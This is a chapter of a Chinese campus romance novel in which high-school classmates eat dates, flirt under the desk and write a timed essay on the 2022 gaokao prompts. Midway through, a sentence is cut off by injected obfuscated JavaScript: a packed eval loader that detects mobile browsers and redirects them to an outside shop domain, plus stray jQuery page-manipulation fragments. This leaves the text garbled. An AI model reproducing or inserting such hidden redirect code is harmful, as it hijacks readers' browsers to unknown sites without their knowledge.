林煜凡无奈的笑了笑，母亲总反复叮嘱他好好学习。
他骑上车往学校赶，路过母亲经营的小店，目光往店内扫了一眼，林母还在埋头整理货品。
玻璃门内人来人往，林母低头清点货物，双手一刻不停，完全没留意街边骑车路过的儿子。
他没有停车，车轮平稳向前滚动。
午后温热的风裹挟着街边樟树清浅的香气扑面而来，沿途赶路的学生三三两两，打闹说笑的声响一路飘进耳中。
刚抵达教学楼，预备铃骤然响起。
踏进教室的那一刻，苏砛言立刻转头望向他：“怎么偏偏卡点到？”
林煜凡拉开椅子落座，随口回应：“路上耽搁了一会。”
谢莫年凑上前搭话：“你总算来了。”
“怎么了？”林煜凡拿出课本摊开。
“没大事，我带了吃的，你来得最晚，分你一份。”谢莫年掏出一颗冬枣递过来。
“谢啦！”
谢莫年大大咧咧把剩下几颗冬枣摆在桌面：“我妈今早买的，脆甜得很，你们都尝尝。”
陈亦抬眼淡淡瞥了一眼，随手拿起一颗放在桌边，安静不作声。
苏砛言眼里瞬间亮起来，身子微微往前倾，视线落在林煜凡手中的冬枣上，语气带着几分软糯的撒娇：
“凡凡，你手里这颗看着最甜。”
林煜凡被他盯得无可奈何，抬手直接递了过去：“给你。”
“真的给我吗！”
“苏砛言你能不能正常说话，别故意夹着嗓子！”谢莫年冲苏砛言翻了个大大的白眼。
“切，不懂情调。”
谢莫年一边嚼着冬枣一边嘟囔：“下午要写作文，我现在脑子空空荡荡，完全不知道该写什么。”
陈亦淡淡开口：“你语文底子不差，有什么好慌的。”
林煜凡指尖捏着剩下半颗冬枣，安静听着两人闲聊。
苏砛言侧头看向他，悄悄弯起嘴角。
谢莫年啃完冬枣，随手把果核丢进桌角垃圾袋，愁眉苦脸扒拉着语文课本。
“上次写作文我全程瞎凑字数，这次老师临时出题，我肯定要写崩。”
陈亦垂眸翻动书页，工整的笔记铺满纸页，语气平淡：“等会看看题目再说。”
“这题目能有什么好写的啊……”谢莫年哀嚎一声，整个人瘫趴在课桌上。
苏砛言见周围没人留意这边，胳膊搭着桌沿，指尖顺着桌下缝隙悄悄伸过去，轻轻贴在林煜凡的膝盖上。
林煜凡身体微微一顿，手指下意识收紧，余光飞快扫了一眼身旁的苏砛言，又瞥向一旁唉声叹气的谢莫年。对方正埋着头对着课本发愁，半点没察觉桌下的小动作。
他微微侧过身，压低气息凑到苏砛言耳边用气声提醒：“安分一点。”
苏砛言非但没有收回手，反倒得寸进尺，掌心轻轻蹭过林煜凡的校服面料，指尖勾了勾衣角，还轻轻捏了下他的腰。眼底藏着藏不住的笑意，嘴唇无声比出“腰好细”的口型。
“你们俩凑一块偷偷说什么？”谢莫年忽然抬起头，疑惑看向两人，“马上就要上课了，不想着构思作文，反倒在底下讲悄悄话。”
苏砛言立刻收回手，端正坐直，装作若无其事含糊糊弄：“没什么。”
陈亦抬眼淡淡扫过他们二人，没有多问，只是安静把笔记本往桌边挪了挪。
林煜凡指尖微微发烫，腿上还残留着少年掌心温热的触感。
苏砛言捕捉到他泛红的耳尖，偷偷用膝盖轻轻撞了撞他的腿，嘴角扬得老高。
林煜凡悄悄把椅子往旁边挪了半寸，拉开一点距离，耳根泛起淡淡的浅红，只能假装翻书掩饰慌乱，指尖无意识摩挲着作文本的纸边。
苏砛言看着他拘谨的模样，心里暗自窃喜，依旧不肯老实，膝盖时不时轻轻碰一下他的腿，动作轻得如同风吹落叶。
没过多久，语文老师抱着教案走进教室，作文题目也一同带来了。
“同学们，这节课我们当堂写作文！”
教室里瞬间响起一片哀嚎。
“这次给大家两个选题，第一个：本手，妙手，俗手；第二个：选择·创造·未来。”
谢莫年没忍住低低爆了句粗口：“我靠，这不就是22年的高考作文题吗？”
底下的哀嚎声变得更加响亮。
老师轻轻敲了敲讲台，眼底藏着几分调侃：“观察力不错，确实是22年高考真题。拿来给你们高二提前练习思辨写作，刚好适配会考和之后的高三备考。限时四十五分钟，二选一完成。”
话音落下，教室里的抱怨声几乎要掀翻屋顶。
“不是吧老师，高二就要刷高考作文？压力直接拉满了！”
“这两道题看着就绕，完全找不到下笔的思路……”
谢莫年把脑袋埋进臂弯，有气无力闷声道：“高三才要发愁的题目，我们高二提前遭罪，这日子实在没法过了。”
陈亦安静摊开作文本，指尖转着黑色水笔，淡淡开口：“早练习早适应，这类议论文是考试重点题型。”
林煜凡垂眸盯着黑板上的两道题目，脑海里慢慢梳理写作思路。
身侧的苏砛言悄悄把椅子往他这边挪了挪，脑袋凑近，贴在他耳边小声诉苦：“凡凡，本手妙手俗手那道我完全看不懂，选择创造未来也没什么头绪，等下写完能不能借我参考一下思路？”
温热的气息擦过耳廓，桌下苏砛言的手又偷偷伸过来，轻轻勾住林煜凡的小指晃了晃，一副可怜兮兮的模样。
林煜凡侧眼看向讲台，老师正低头翻阅教案，没留意底下的小动作，他轻轻往回抽了抽手指：“先自己独立构思，别总想着借鉴别人。”
“我不会照搬，就稍微参考一点点思路！”苏砛言不肯松开，指尖软软蹭着他的指腹，膝盖还轻轻撞了撞林煜凡的腿。
谢莫年抬起头，满脸痛苦：“我们高二能有什么选择？无非就是刷题、刷题、再刷题。”
“踏实坚持学习就是当下最好的选择，突破学习瓶颈、找到适合自己的学习方法，便是属于少年人的创造。”陈亦随口提点了一句。
苏砛言见老师讲完写作要点，趁着全班注意力都集中在黑板上，干脆整只手掌贴在了林煜凡的大腿上。
林煜凡耳根慢慢泛热，闭眼再睁开，终究没有拨开他的手。
他拿起笔，指尖抵在空白作文纸上，心里已经敲定了选题。
老师抬手看了眼手表：“现在开始动笔，四十五分钟后准时收卷，没写完的自行承担后果。”
教室渐渐安静下来，只剩下笔尖划过稿纸沙沙的声响。
苏砛言依依不舍挪开贴在林煜凡腿上的手，坐直身子假装审题，视线却总忍不住偷偷瞟向旁边人的作文纸。
林煜凡察觉到他的目光，没有阻拦，笔尖稳稳落下，一行行工整干净的文字，缓缓铺满空白稿纸。
苏砛言偷看了两三行，勉强抓住一点写作头绪，可笔尖悬在稿纸上半天落不下去，只好悄悄用胳膊肘轻轻撞了撞林煜凡的胳膊。
林煜凡笔尖顿了半秒，侧眸斜睨他一眼，用眼神无声示意他专心审题。苏砛言瘪了瘪嘴，只能收回视线硬着头皮自己琢磨，脑子里却依旧乱糟糟的。
后排的谢莫年抓着头发来回揉搓，草稿纸上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809639|210790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只歪歪扭扭写了两行标题，半句正文都写不出来，压低声音和陈亦诉苦：“我选第二个题目，可完全不知道创造要写什么，总不能写我上课偷偷传纸条吧？”
陈亦笔下从未停歇，文字排布工整规整，闻言淡淡回复：“可以结合国家发展层面来写。”
谢莫年长吁短叹，依旧毫无写作思路，时不时抬头偷看墙上的时钟，四十五分钟的时限压得他心头发闷。
林煜凡的作文纸已经写了大半内容。
桌下，苏砛言又悄悄伸过来一根手指，轻轻勾住林煜凡搭在桌沿的小指，轻轻晃了两下，无声道谢。林煜凡没有挣脱，任由他牵着，笔尖依旧平稳地在稿纸上游走。
头顶吊扇缓缓转动，吹散午后闷热，教室里只剩下此起彼伏的笔尖摩擦声，偶尔夹杂谢莫年短促的叹气。
讲台上老师来回踱步巡查，走到两人桌边时停下脚步，低头扫了一眼各自的作文纸，只是轻轻点了点头，没有戳破桌下悄悄交握的指尖，转身走向下一组同学。
一节课缓缓流逝，距离收卷只剩最后五分钟，不少同学慌忙加快书写速度。谢莫年总算凑够作文字数，长长舒了口气，瘫在椅背上揉捏发酸的手腕。陈亦早早停笔，安静翻看自己写完的文字。
苏砛言堪堪写完最后一句话，松了口气，侧过头悄悄看向林煜凡，对方刚好停下笔，指尖轻轻抚平褶皱的稿纸，侧脸落在窗外夏日柔光里，柔和得不像话。
“写完了？”
“嗯。”
林煜凡轻轻应了一声，顺手捋平作文本卷曲的边角，工整的字迹铺满整张稿纸，看着格外舒服。
苏砛言歪头看了眼自己潦草的卷面，对比之下顿时有些不好意思，小声嘟囔：“我写得乱糟糟的，刚才赶得手忙脚乱，差点没能写完。”
林煜凡低头瞥了眼他的本子，语气平淡：“下次先梳理好写作思路，只要立意准确就没问题。”
苏砛言嘿嘿笑了两声，摆正作文本，长长吐出一口气：“还好有你，高考作文题实在太绕，高二写这个真的扛不住。”
等所有作文卷全部收齐，老师抬眼看向全班，淡淡开口：
“这次只是提前练手，大家不用过度焦虑。高二尽早接触思辨类题目，到高三复习会轻松许多。大部分同学立意都没有偏差，已经很不错了。”
教室里紧绷的氛围瞬间松懈大半，抱怨声也少了许多。
紧绷四十五分钟的气氛彻底散开，窗外的风顺着窗户吹进教室，裹挟着盛夏草木燥热的气息。
后排谢莫年彻底放松下来，整个人瘫靠在椅背上，长长伸了个懒腰，忍不住吐槽：“实在离谱，高二就要练习高考作文，老师下次能不能放宽要求？思辨题实在太耗费脑力。”
陈亦低头整理好文具，闻言淡淡一笑：“提前适应考试节奏挺好，等到高三集中刷题时，就不会觉得吃力了。”
苏砛言随手转着手里的黑色水笔，十分认同地点头：“确实很难写，刚才动笔的时候脑子都转不动，还好偷偷看了煜凡的写作思路，不然大半页都要空着。”
他侧头望向林煜凡，眼底满是轻松。经过一节课绞尽脑汁的写作，此刻卸下压力，整个人都清爽自在。
林煜凡缓缓合上书页。
不过是一次提前试水的作文练习，难度虽高，却让所有人静下心认真思考。本手是日复一日踏实积累，创造属于少年前路无限可能，放在日复一日的高中生活里，再贴切不过。
苏砛言伸手戳了戳林煜凡的胳膊，语气轻快：“下次再有这种烧脑作文，你还要帮我梳理思路。”
林煜凡抬眸看向他，眉眼舒展柔和，轻轻点了下头。